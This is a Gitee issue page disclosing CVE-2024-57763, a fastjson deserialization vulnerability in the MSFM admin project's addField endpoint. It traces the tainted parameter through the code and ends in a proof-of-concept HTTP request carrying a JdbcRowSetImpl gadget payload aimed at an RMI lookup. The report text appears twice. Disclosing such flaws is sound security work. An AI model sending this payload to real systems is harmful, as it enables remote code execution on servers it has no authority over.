Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Open Source
>
Development Lib
>
Authority Management
&&
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
209
Star
703
Fork
334
wangl1989
/
MSFM
Code
Issues
10
Pull Requests
1
Wiki
Insights
Pipelines
Service
JavaDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
MSFM system/table/addField has fastjson deserialization.
Backlog
#IBFVFD
rabbit
Opened this issue
2025-01-06 11:29
CVE-2024-57763 find by Chaitin Security Research Lab Vulnerability Product: wangl1989/MSFM Vulnerability version: before 2025.01.01 Vulnerability type: fastjson deserialization Vulnerability Details: 1. A global search of JSONObject. toJSONString revealed that at com/mysiteforme/admin/service/ipl/TableServiceImpl. java: 146, the path JSON Object. toJSONString receives the parameter tableField and converts it into a JSON format string. Upon further analysis, it was found that this operation was performed in the addColumn() method. Continue tracking to see where this method was called.  2. Tracking the addColumn() method to the controller layer, the addColumn() method was called at com/mysiteform/admin/controller/system/TableController. java: 293 and received the tableField parameter. Upward analysis showed that the parameter com/mysiteform/admin/controller/system/TableController. java: 254 was obtained from the request sent by the user side in the/addField path, and the entire process did not filter or escape the parameter tableField. Therefore, the parameter tableField is controllable, and there is a fastjson deserialization vulnerability here.   3. Construct POC, log in to the backend to capture packets, and replace cookies ``` http://127.0.0.1:8083 账号: test/1 ``` ``` POST /admin/system/table/addField HTTP/1.1 Host: 127.0.0.1:8083 Content-Type: application/json Cookie:XXXXX {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/a","autoCommit":true}} ``` 
CVE-2024-57763 find by Chaitin Security Research Lab Vulnerability Product: wangl1989/MSFM Vulnerability version: before 2025.01.01 Vulnerability type: fastjson deserialization Vulnerability Details: 1. A global search of JSONObject. toJSONString revealed that at com/mysiteforme/admin/service/ipl/TableServiceImpl. java: 146, the path JSON Object. toJSONString receives the parameter tableField and converts it into a JSON format string. Upon further analysis, it was found that this operation was performed in the addColumn() method. Continue tracking to see where this method was called.  2. Tracking the addColumn() method to the controller layer, the addColumn() method was called at com/mysiteform/admin/controller/system/TableController. java: 293 and received the tableField parameter. Upward analysis showed that the parameter com/mysiteform/admin/controller/system/TableController. java: 254 was obtained from the request sent by the user side in the/addField path, and the entire process did not filter or escape the parameter tableField. Therefore, the parameter tableField is controllable, and there is a fastjson deserialization vulnerability here.   3. Construct POC, log in to the backend to capture packets, and replace cookies ``` http://127.0.0.1:8083 账号: test/1 ``` ``` POST /admin/system/table/addField HTTP/1.1 Host: 127.0.0.1:8083 Content-Type: application/json Cookie:XXXXX {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/a","autoCommit":true}} ``` 
Comments (
0
)
Sign in
to comment
Status
Backlog
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
Branches (
-
)
Tags (
-
)
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(1)
Java
1
https://gitee.com/wanglingxiao/mysiteforme.git
git@gitee.com:wanglingxiao/mysiteforme.git
wanglingxiao
mysiteforme
MSFM
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register